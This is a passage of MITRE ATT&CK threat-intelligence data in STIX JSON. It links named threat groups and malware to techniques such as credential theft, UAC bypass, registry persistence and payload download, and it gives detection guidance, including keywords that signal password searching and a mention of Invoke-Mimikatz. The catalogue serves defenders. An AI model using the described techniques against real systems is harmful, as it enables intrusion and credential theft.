2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ab5ee87-6fdf-447a-b622-0a68ed34e330","type":"relationship","created":"2020-03-20T19:01:49.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. 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Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2019-07-14T21:04:45.636Z","description":"(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8594cae-f7d4-4f56-b6ec-b458d9aa101a","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--265b6107-87c7-42c7-bc82-a7df3c7d3bfa","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Locations where <code>profile.ps1</code> can be stored should be monitored for modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malware Archaeology PowerShell Cheat Sheet","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dad8f08-ade1-4a1b-a8e5-718c94afc585","type":"relationship","created":"2019-06-18T17:20:43.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2020-03-17T19:22:41.247Z","description":"[JCry](https://attack.mitre.org/software/S0389) has used VBS scripts. (Citation: Carbon Black JCry May 2019)","relationship_type":"uses","source_ref":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b8341df-94d6-4989-9662-9af1b2233036","type":"relationship","created":"2021-02-22T20:31:47.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-02-22T20:31:47.092Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can find the presence of a specific security software.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ffd4ba1-1114-4df9-875c-14cacda87b21","type":"relationship","created":"2021-03-24T21:35:27.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-26T20:18:07.166Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has used a legitimate compromised website to download DLLs to the victim's machine.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1f888716-1e49-4d8d-b693-67c6eae8a775","type":"relationship","created":"2020-05-15T16:50:05.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Infoblox Lokibot January 2019","url":"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22","description":"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."}],"modified":"2020-05-18T13:42:53.799Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has stolen credentials from multiple applications and data sources including Windows OS credentials, email clients, FTP, and SFTP clients.(Citation: Infoblox Lokibot January 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b892d69f-bdfc-48e8-83f5-3081b9bffa4a","type":"relationship","created":"2019-06-05T17:31:22.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.526Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather system information.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9f57a541-c6d1-490f-bd15-1dee6280365b","type":"relationship","created":"2021-10-01T17:50:33.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:50:33.661Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) can download specific payloads to a compromised host based on OS architecture.(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--762f85a3-0120-4b09-aafd-3f460764e85f","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html","description":"Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly &#91;Blog&#93;. Retrieved November 12, 2014.","source_name":"Moran 2013"},{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.","source_name":"Moran 2014"}],"modified":"2019-06-10T19:28:01.000Z","description":"(Citation: Moran 2013)(Citation: Moran 2014)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95a4d32c-7705-4527-abd8-9d2aca70dbc0","type":"relationship","created":"2020-05-12T14:07:23.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-21T18:29:38.980Z","description":"(Citation: FireEye MESSAGETAP October 2019)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d11b6896-16e0-4c02-9c16-0880085010e8","type":"relationship","created":"2021-12-06T23:14:44.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.934Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) will perform UAC bypass either through fodhelper.exe or eventvwr.exe.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eeae630c-0c58-4397-90fb-05f5b60b720f","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. 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Retrieved July 15, 2020."}],"modified":"2021-03-29T19:49:11.254Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) can download files to the victim’s machine.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c04a87c-6a12-4aaa-8ead-30cd22d7850d","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-02T19:21:35.334Z","relationship_type":"mitigates","source_ref":"course-of-action--ad7f983d-d5a8-4fce-a38c-b68eda61bf4e","target_ref":"attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--db8530c2-ce41-4943-8a17-91502187fd06","type":"relationship","created":"2019-10-10T21:57:37.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. 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(Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--350e9dad-4dd3-450f-b649-60340710505a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","source_name":"PWC Cloud Hopper Technical Annex April 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"},{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. 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(2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"},{"source_name":"ClearSky MuddyWater June 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020."}],"modified":"2020-05-18T17:43:37.053Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware to obtain a list of running processes on the system.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee83de4f-1ebf-4da4-829e-052d2ac7cb3a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. 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Monitor executed commands and arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.","modified":"2022-04-20T00:34:09.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5731c1ec-5055-4d03-a2e3-573b231a5629","type":"relationship","created":"2019-06-07T18:47:42.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). 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(2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.","url":"http://www.sixdub.net/?p=367"},{"source_name":"SilentBreak Offensive PS Dec 2015","description":"Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.","url":"https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ef41cf60-c60d-4c1f-aa2c-ee9cc73641f4","created":"2021-11-29T18:59:22.143Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. 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(2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:31:37.017Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can store its configuration in the Registry at <code>HKCU\\Software\\</code> under frequently changing names including <code>%USERNAME%</code> and <code>ToolTech-RM</code>.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--202b96f6-0f7c-4aed-8004-780f1d880059","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). 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Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-19T19:56:10.611Z","description":"[PHOREAL](https://attack.mitre.org/software/S0158) is capable of manipulating the Registry.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--f6ae7a52-f3b6-4525-9daf-640c083f006e","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a152969e-2530-4cb7-acdf-f93b138116d0","type":"relationship","created":"2020-03-27T13:32:37.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-08-16T19:46:03.668Z","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--facd3eca-9156-47a8-85d1-09719bc0eb88","type":"relationship","created":"2019-03-26T13:38:24.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LogRhythm WannaCry","url":"https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/","description":"Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."},{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"}],"modified":"2019-04-22T11:43:33.449Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) creates the service \"mssecsvc2.0\" with the display name \"Microsoft Security Center (2.0) Service.\"(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34c13917-d1ab-4a3e-985e-54aa5b2bb84d","type":"relationship","created":"2019-02-05T17:56:55.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2020-03-16T19:00:50.019Z","description":"[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP. 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Retrieved July 23, 2020."}],"modified":"2020-08-19T16:31:40.661Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has used HTTP over ports 9005 and 9006 for network traffic, 9002 for C2 requests, 33666 as a WebSocket, and 8090 to download files.(Citation: Trustwave GoldenSpy June 2020)","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccc14a82-43bc-4eea-b19f-95aba6bdb5e6","type":"relationship","created":"2021-06-30T16:13:40.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. 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Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.484Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used JavaScript and Node.Js information stealer script that exfiltrates data using the node process.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1d65c2d6-6f59-40e4-af56-83ad4d9efea8","type":"relationship","created":"2019-05-02T01:07:36.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. 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PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","modified":"2022-04-18T19:02:15.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8d8ce21-9439-4b62-9021-ae4037172173","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor executed commands and arguments in command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38f209df-bb69-4971-bbd8-db5a54bbf217","type":"relationship","created":"2019-01-29T18:17:59.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 